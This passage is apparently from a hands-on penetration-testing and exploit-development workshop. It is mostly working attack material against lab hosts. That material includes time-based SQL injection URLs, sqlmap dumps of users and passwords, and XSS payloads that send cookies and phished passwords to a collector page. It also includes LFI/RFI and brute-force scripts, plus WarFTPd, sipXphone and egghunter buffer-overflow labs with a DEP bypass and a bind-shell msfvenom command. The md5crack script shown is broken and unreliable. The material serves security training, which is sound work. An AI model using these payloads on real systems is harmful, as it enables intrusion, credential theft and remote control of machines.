 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
 
 B - 2nd Character
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 
 O - 3rd Character
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 
  -----------------------------------------------------------------------
 
 
 
 
  ####File not Found
  ##########
 # Sqlmap #
 ##########
 If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
 
   ---------------------------Type This-----------------------------------
 
 cd /home/strategicsec/toolz/sqlmap-dev/
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
 python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
 
  -----------------------------------------------------------------------
 
 ###############################################################################
 # What is XSS                                                                 #
 # http://45.63.104.73/2-Intro_To_XSS.pptx             #
 ###############################################################################
 
 OK - what is Cross Site Scripting (XSS)
 
 1. Use Firefox to browse to the following location:
 ---------------------------Type This-----------------------------------
 
     http://45.63.104.73/xss_practice/
  -----------------------------------------------------------------------
 
     A really simple search page that is vulnerable should come up.
 
 
 
 
 2. In the search box type:
 ---------------------------Type This-----------------------------------
 
     <script>alert('So this is XSS')</script>
 -----------------------------------------------------------------------
 
 
     This should pop-up an alert window with your message in it proving XSS is in fact possible.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 
 3. In the search box type:
 ---------------------------Type This-----------------------------------
 
     <script>alert(document.cookie)</script>
 -----------------------------------------------------------------------
 
 
     This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
 
 4. Now replace that alert script with:
 ---------------------------Type This-----------------------------------
 
     <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
 -----------------------------------------------------------------------
 
 
 This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
 
 
 5. Now view the stolen cookie at:
 ---------------------------Type This-----------------------------------
 
     http://45.63.104.73/xss_practice/cookie_stealer_logs.html
 -----------------------------------------------------------------------
 
 
 The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
 
 
 
 
 
 
 ############################
 # A Better Way To Demo XSS #
 ############################
 
 
 Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
 
 
 Use Firefox to browse to the following location:
 ---------------------------Type This-----------------------------------
 
     http://45.63.104.73/xss_practice/
 -----------------------------------------------------------------------
 
 
 
 Paste this in the search box
 ----------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 <script>
 password=prompt('Your session is expired. Please enter your password to continue',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
 </script>
 -----------------------------------------------------------------------
 
 
 Now view the stolen cookie at:
 ---------------------------Type This-----------------------------------
 
     http://45.63.104.73/xss_practice/passwords.html
 
 -----------------------------------------------------------------------
 
 
 
 
 #################################################
 # Lesson 25: Python Functions & String Handling #
 #################################################
 
 Python can make use of functions:
 http://www.tutorialspoint.com/python/python_functions.htm
 
 
 
 Python can interact with the 'crypt' function used to create Unix passwords:
 http://docs.python.org/2/library/crypt.html
 
 
 
 Tonight we will see a lot of the split() method so be sure to keep the following references close by:
 http://www.tutorialspoint.com/python/string_split.htm
 
 
 Tonight we will see a lot of slicing so be sure to keep the following references close by:
 http://techearth.net/python/index.php5?title=Python:Basics:Slices
 
 
 ---------------------------Type This-----------------------------------
 vi LFI-RFI.py
 
 
 ---------------------------Paste This-----------------------------------
 
 
 
 #!/usr/bin/env python3
 print("\n### PHP LFI/RFI Detector ###")
 
 import urllib.request, urllib.error, urllib.parse,re,sys
 
 TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
 RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
 TravLimit = 12
 
 print("==> Testing for LFI vulns..")
 TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
 for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
     TARGET += "../"
     try:
         source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
     except urllib.error.URLError as e:
         print("$$$ We had an Error:",e)
         sys.exit(0)
     if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
         print("!! ==> LFI Found:",TARGET+"etc/passwd")
         break ## BREAK LOOP WHEN VULN FOUND
 
 print("\n==> Testing for RFI vulns..")
 TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
 try:
     source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
 except urllib.error.URLError as e:
     print("$$$ We had an Error:",e)
     sys.exit(0)
 if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
     print("!! => RFI Found:",TARGET)
 
 print("\nScan Complete\n") ## DONE
 
 
 
 
 -----------------------------------------------------------------------
 
 
 -----------------------------------------------------------------------
 
 
 ################################
 # Lesson 26: Password Cracking #
 ################################
 
 ---------------------------Type This-----------------------------------
 
 wget http://45.63.104.73/htcrack.py
 
 vi htcrack.py
 
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/env python
 
 import crypt, sys
 
 if len(sys.argv) != 3:
 	print("Usage: ./htcrack.py <password> <wordlist>")
 	print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]");
 	sys.exit(1)
 
 pw = sys.argv[1].split(":",1)
 try:
   words = open(sys.argv[2], "r")
 except(IOError):
   print("Error: Check your wordlist path\n")
   sys.exit(1)
 wds = words.readlines()
 print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-")
 print("     - http://darkcode.ath.cx -")
 print("\n",len(wds),"words loaded...")
 for w in wds:
 	if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]:
 		print("\nCracked:",pw[0]+":"+w,"\n")
 
 
 ---------------------------Type This-----------------------------------
 vi list.txt
 
 ---------------------------Paste This-----------------------------------
 
 hello
 goodbye
 red
 blue
 yourname
 tim
 bob
 
 -----------------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 
 htpasswd -nd yourname
 	- enter yourname as the password
 
 
 
 $ python3 htcrack.py joe:7XsJIbCFzqg/o list.txt
 
 
 
 
 sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
 
 
 
 sudo /bin/bash
 
 passwd
 	***set root password***
 
 
 
 ---------------------------Type This-----------------------------------
 
 vi rootbrute.py
 
 ---------------------------Paste This-----------------------------------
 
 
 #!/usr/bin/env python3
 
 import sys
 try:
         import pexpect
 except(ImportError):
         print("\nYou need the pexpect module.")
         print("http://www.noah.org/wiki/Pexpect\n")
         sys.exit(1)
 
 #Change this if needed.
 # LOGIN_ERROR = 'su: incorrect password'
 LOGIN_ERROR = "su: Authentication failure"
 
 def brute(word):
         print("Trying:",word)
         child = pexpect.spawn('/bin/su')
         child.expect('Password: ')
         child.sendline(word)
         i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
         if i == 1:
                 print("Incorrect Password")
 
         if i == 2:
                 print("\n\t[!] Root Password:" ,word)
                 child.sendline ('id')
                 print(child.before)
                 child.interact()
 
 if len(sys.argv) != 2:
         print("\nUsage : ./rootbrute.py <wordlist>")
         print("Eg: ./rootbrute.py words.txt\n")
         sys.exit(1)
 
 try:
         words = open(sys.argv[1], "r").readlines()
 except(IOError):
         print("\nError: Check your wordlist path\n")
         sys.exit(1)
 
 print("\n[+] Loaded:",len(words),"words")
 print("[+] BruteForcing...\n")
 for word in words:
         brute(word.replace("\n",""))
 
 
 -----------------------------------------------------------------------
 
 
 References you might find helpful:
 http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
 
 
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 it does not work in python 3 we must change the module
 
 wget http://45.63.104.73/md5crack.py
 
 vi md5crack.py
 
 #!/usr/bin/env python3
 
 import md5hash, base64, sys
 
 if len(sys.argv) != 3:
 	print("Usage: ./md5crack.py <hash> <wordlist>")
 	sys.exit(1)
 
 pw = sys.argv[1]
 wordlist = sys.argv[2]
 try:
   words = open(wordlist, "r")
 except(IOError):
   print("Error: Check your wordlist path\n")
   sys.exit(1)
 words = words.readlines()
 print("\n",len(words),"words loaded...")
 hashes = {}
 for word in words:
 	hash = md5.new()
 	hash.update(word[:-1])
 	value = hash.hexdigest()
 	hashes[word[:-1]] = value
 for (key, value) in list(hashes.items()):
 	if pw == value:
 		print("Password is:",key,"\n")
 
 -----------------------------------------------------------------------
 
 
 
 
 Why use hexdigest
 http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
 
 
 
 
 http://md5online.net/
 
 
 
 ---------------------------Type This-----------------------------------
 
 
 wget http://45.63.104.73/wpbruteforcer.py
 
 
 -----------------------------------------------------------------------
 
 
 
 #############
 # Functions #
 #############
 
 
 ***********************
 * What are Functions? *
 ***********************
 
 
 Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
 
 How do you write functions in Python?
 
 Python makes use of blocks.
 
 A block is a area of code of written in the format of:
 
  block_head:
 
       1st block line
 
       2nd block line
 
       ...
 
 
 Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
 
 Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
 
 def my_function():
     print("Hello From My Function!")
 
 
 Functions may also receive arguments (variables passed from the caller to the function). For example:
 
 def my_function_with_args(username, greeting):
     print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
 
 
 Functions may return a value to the caller, using the keyword- 'return' . For example:
 
 def sum_two_numbers(a, b):
     return a + b
 
 
 ****************************************
 * How do you call functions in Python? *
 ****************************************
 
 Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
 
 # Define our 3 functions
 ---------------------------Paste This-----------------------------------
 
 def my_function():
     print("Hello From My Function!")
 
 def my_function_with_args(username, greeting):
     print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
 
 def sum_two_numbers(a, b):
     return a + b
 
 # print(a simple greeting)
 my_function()
 
 #prints - "Hello, Joe, From My Function!, I wish you a great year!"
 my_function_with_args("Joe", "a great year!")
 
 # after this line x will hold the value 3!
 x = sum_two_numbers(1,2)
 -----------------------------------------------------------------------
 
 
 ************
 * Exercise *
 ************
 
 In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
 
 Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
 
 Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
 
 Run and see all the functions work together!
 
 
 ---------------------------Paste This-----------------------------------
 
 # Modify this function to return a list of strings as defined above
 def list_benefits():
     pass
 
 # Modify this function to concatenate to each benefit - " is a benefit of functions!"
 def build_sentence(benefit):
     pass
 
 def name_the_benefits_of_functions():
     list_of_benefits = list_benefits()
     for benefit in list_of_benefits:
         print(build_sentence(benefit))
 
 name_the_benefits_of_functions()
 
 
 -----------------------------------------------------------------------
 
 
 
 Broken link
 
 Please download this file to your Windows host machine, and extract it to your Desktop.
 http://45.63.104.73/ED-Workshop-Files.zip
 
 
 
 
 
 ###########################
 # Lab 1a: Stack Overflows #
 ###########################
 
     #############################
     # Start WarFTPd             #
     # Start WinDBG              #
     # Press F6                  #
     # Attach to war-ftpd.exe    #
     #############################
 ---------------------------Type This-----------------------------------
 
 cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
 
 
 python warftpd1.py | nc XPSP3-ED-Target-IP 21
 
 
     At WINDBG prompt
     “r” to show registers or “alt+4”
     dd esp
 
 -----------------------------------------------------------------------
 ---------------------------Type This-----------------------------------
 
 python warftpd2.py | nc XPSP3-ED-Target-IP 21
 
 
     At WINDBG prompt
     “r” to show registers or “alt+4”
     dd esp
 -----------------------------------------------------------------------
 
     Eip: 32714131
     esp: affd58     (71413471)
 
     Now we need to SSH into the StrategicSec Ubuntu host
  ---------------------------Type This-----------------------------------
 
     cd /home/strategicsec/toolz/metasploit/tools/exploit
 
     ruby pattern_offset.rb 32714131
     485
 
     ruby pattern_offset.rb 71413471
     493
 -----------------------------------------------------------------------
 
     Distance to EIP is:         485
     Relative position of ESP is:    493
 
     RET – POP EIP
     RET 4 – POP EIP and shift ESP down by 4 bytes
   ---------------------------Type This-----------------------------------
 
     cd /home/strategicsec/toolz/metasploit/
     ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
  -----------------------------------------------------------------------
 
         0x7c9c167d push esp; retn 0x304d
         0x7c9d30d7 jmp esp < - how about we use this one
         0x7c9d30eb jmp esp
         0x7c9d30ff jmp esp
 
 
         warftpd3.py with Notepad++
         Fill in the appropriate values
         Distance to EIP
         Address of JMP ESP
 
 
   ---------------------------Type This-----------------------------------
 
 python warftpd3.py | nc XPSP3-ED-Target-IP 21
 
     0:003> dd eip
     0:003> dd esp
 
  -----------------------------------------------------------------------
 
 
 
 
     Mention bad characters
     No debugger
 
   ---------------------------Type This-----------------------------------
 
 
 python warftpd4.py | nc XPSP3-ED-Target-IP 21
 
 nc XPSP3-ED-Target-IP 4444
 
   -----------------------------------------------------------------------
 
 
 
 
 There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
 
 Shellcode test 1: Calculate space for shellcode
 Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
 
 
 
 
 
 Shellcode test 2: Identify bad characters
 
 Replace the INT3 (cc) dummy shellcode with this string:
   ---------------------------Type This-----------------------------------
 
 "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
 
   -----------------------------------------------------------------------
 
 Send this new shellcode string and identify the places where it truncates - these are the bad characters
 
 
 
 
 Here is what the string looks like after I manually tested and removed each of the bad characters:
   ---------------------------Type This-----------------------------------
 
 shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
 
   -----------------------------------------------------------------------
 
 
    ---------------------------Type This-----------------------------------
 
 ./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
 
    -----------------------------------------------------------------------
 
 
 
 
 ###########################################
 # Lab 1b: Stack Overflows with DEP Bypass #
 ###########################################
 
 Reboot your target host and choose the "2nd" option for DEP.
 
    ---------------------------Type This-----------------------------------
 
 cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
 
 
 
 
 python warftpd1.py | nc XPSP3-ED-Target-IP 21
 
     At WINDBG prompt
     “r” to show registers or “alt+4”
 
     dd esp
 
    -----------------------------------------------------------------------
 
    ---------------------------Type This-----------------------------------
 
 python warftpd2.py | nc XPSP3-ED-Target-IP 21
 
 
     At WINDBG prompt
     “r” to show registers or “alt+4”
     dd esp
    -----------------------------------------------------------------------
 
     Eip: 32714131
     esp: affd58     (71413471)
 
     Now we need to SSH into the StrategicSec Ubuntu host
     ---------------------------Type This-----------------------------------
 
     cd /home/strategicsec/toolz/metasploit/tools/exploit
 
     ruby pattern_offset.rb 32714131
     485
 
     ruby pattern_offset.rb 71413471
     493
 
 
 
 
 
 
 
 
 cd /home/strategicsec/toolz/metasploit/tools/exploit
 
 ruby pattern_offset.rb 32714131
 
 cd /home/strategicsec/toolz/metasploit/
 
 ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
 
 
 
 python warftpd3.py | nc XPSP3-ED-Target-IP 21
 
     0:003> dd eip
     0:003> dd esp
 -----------------------------------------------------------------------
 
 INT3s - GOOD!!!!!!!
 
 ---------------------------Type This-----------------------------------
 
 
 python warftpd4.py | nc XPSP3-ED-Target-IP 21
 
 nc XPSP3-ED-Target-IP 4444
 -----------------------------------------------------------------------
 
 
 strategicsec....exploit no workie!!!!
 
 
 Why????????? DEP!!!!!!!!!!!!!
 
 
 
 
 Let's look through ole32.dll for the following instructions:
 
 mov al,0x1
 ret 0x4
 
 We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
 
 
 ---------------------------Type This-----------------------------------
 
 ./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
 -----------------------------------------------------------------------
 
 [DLLs/xpsp3/ole32.dll]
 0x775ee00e b001c204
 0x775ee00e      mov al, 1
 0x775ee010      ret 4
 
 
 Then we need to jump to the LdrpCheckNXCompatibility routine in
 ntdll.dll that disables DEP.
 
 
 
 Inside of ntdll.dll we need to find the following instructions:
 
 CMP AL,1
 PUSH 2
 POP ESI
 JE ntdll.7
 
 ---------------------------Type This-----------------------------------
 
 
 ./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
 -----------------------------------------------------------------------
 
 [DLLs/xpsp3/ntdll.dll]
 0x7c91cd24 3c016a025e0f84
 0x7c91cd24      cmp al, 1
 0x7c91cd26      push 2
 0x7c91cd28      pop esi
 0x7c91cd29      jz 7
 
 
 This set of instructions makes sure that AL is set to 1, 2 is pushed
 on the stack then popped into ESI.
 
 
 
 ---------------------------Paste This-----------------------------------
 
 
 dep = "\x0e\xe0\x5e\x77"+\
 "\xff\xff\xff\xff"+\
 "\x24\xcd\x91\x7c"+\
 "\xff\xff\xff\xff"+\
 "A"*0x54
 
 -----------------------------------------------------------------------
 
 
     #############################
     # Start WarFTPd             #
     # Start WinDBG              #
     # Press F6                  #
     # Attach to war-ftpd.exe    #
     # bp 0x775ee00e             #
     # g                         #
     #############################
 
 
 ---------------------------Type This-----------------------------------
 
 
 python warftpd5.py | nc XPSP3-ED-Target-IP 21
 
 -----------------------------------------------------------------------
 We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
 
     mov al,0x1
     ret 0x4
 
 
 
 
 0:005> g
 Breakpoint 0 hit
 eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
 eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
 ole32!CSSMappedStream::IsWriteable:
 775ee00e b001            mov     al,1
 
 
 0:001> t
 eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
 eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
 ole32!CSSMappedStream::IsWriteable+0x2:
 775ee010 c20400          ret     4
 
 
 
 
 
 ---------------------------------------------------------------------------
 Ok, so inside of ntdll.dll we need to find the following instructions:
 
     CMP AL,1
     PUSH 2
     POP ESI
     JE ntdll.7
 
 0:001> t
 eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
 eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
 ntdll!LdrpCheckNXCompatibility+0x13:
 7c91cd24 3c01            cmp     al,1
 
 
 0:001> t
 eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
 eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
 ntdll!LdrpCheckNXCompatibility+0x15:
 7c91cd26 6a02            push    2
 
 
 0:001> t
 eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
 eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
 ntdll!LdrpCheckNXCompatibility+0x17:
 7c91cd28 5e              pop     esi
 
 
 0:001> t
 eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
 eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
 ntdll!LdrpCheckNXCompatibility+0x18:
 7c91cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
 
 
 ---------------------------------------------------------------------------
 
 
  ---------------------------Type This-----------------------------------
 
 python warftpd5.py | nc XPSP3-ED-Target-IP 21
 
 nc XPSP3-ED-Target-IP 4444
 
  -----------------------------------------------------------------------
 
 ##########################
 # Lab 1c: SEH Overwrites #
 ##########################
 
     #################################################
     # On our VictimXP Host (XPSP3-ED-Target-IP)     #
     # Start sipXexPhone if it isn’t already running #
     # Start WinDBG                                  #
     # Press “F6” and Attach to sipXexPhone.exe      #
     # Press “F5” to start the debugger              #
     #################################################
 
  ---------------------------Type This-----------------------------------
 
 cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
 
 
 
 python sipex0.py XPSP3-ED-Target-IP
 
     0:003> !exchain
     0:003> dds esp
     0:003> dds
 
 python sipex1.py XPSP3-ED-Target-IP
 
     0:003> !exchain
     0:003> g
 
     When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
 
 
 python sipex2.py XPSP3-ED-Target-IP
 
     0:003> !exchain
     0:003> g
 
 
     ***ssh into instructor Ubuntu host***
     cd /home/strategicsec/toolz/metasploit/tools/exploit
     ruby pattern_offset.rb 41346941             We should see that SEH is at 252
 
 
 
     !load narly
     !nmod
 
     ***ssh into the Ubuntu host***
     ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
     cd /home/strategicsec/toolz/metasploit/
     ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
 
   -----------------------------------------------------------------------
 
     #####################################
     # sipex3.py in Notepad++.           #
     # Set cseq = 252                    #
     # Set seh2 address to: 0x10015977   #
     #####################################
 
 ---------------------------Type This-----------------------------------
 
 python sipex3.py XPSP3-ED-Target-IP
     0:003> !exchain
 
 python sipex4.py XPSP3-ED-Target-IP
 
 
 
 nc XPSP3-ED-Target-IP 4444
 
  -----------------------------------------------------------------------
 
 
 
 
 Brush up on the basics of Structured Exception Handlers:
 http://www.securitytube.net/video/1406
 http://www.securitytube.net/video/1407
 http://www.securitytube.net/video/1408
 
 
 
 
 
 
 ########################################
 # Lab 2a: Not Enough Space (Egghunter) #
 ########################################
 
 ---------------------------Type This-----------------------------------
 
 cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
 -----------------------------------------------------------------------
 
 SWS - SIMPLE WEB SERVER
 -----------------------
 
 Running SWS on Strategicsec-XP-ED-Target-VM
 Start > Programs > Simple Web Server (it's in the middle somewhere)
 Red icon in system tray
 Double click it
 - it will pop up a menu
 - select "start"
 - dialog box shows starting params - port 82
 
 WinDBG
 - attach to "server.exe"
 
 ---------------------------Type This-----------------------------------
 
 python sws1.py | nc XPSP3-ED-Target-IP 82
 
 
 
 python sws2.py | nc XPSP3-ED-Target-IP 82
 
 
 SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
 cd /home/strategicsec/toolz/metasploit/tools/exploit
 ruby pattern_offset.rb 41356841             <------- You should see that EIP is at 225
 ruby pattern_offset.rb 68413668             <------- You should see that ESP is at 229
 
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
 EGGHUNTER:
 ----------
 
 "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
 "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
           ^^^^^^^^^^^^^^^^
                ABBA
                                          JMP ESP
                                         /
                                        /
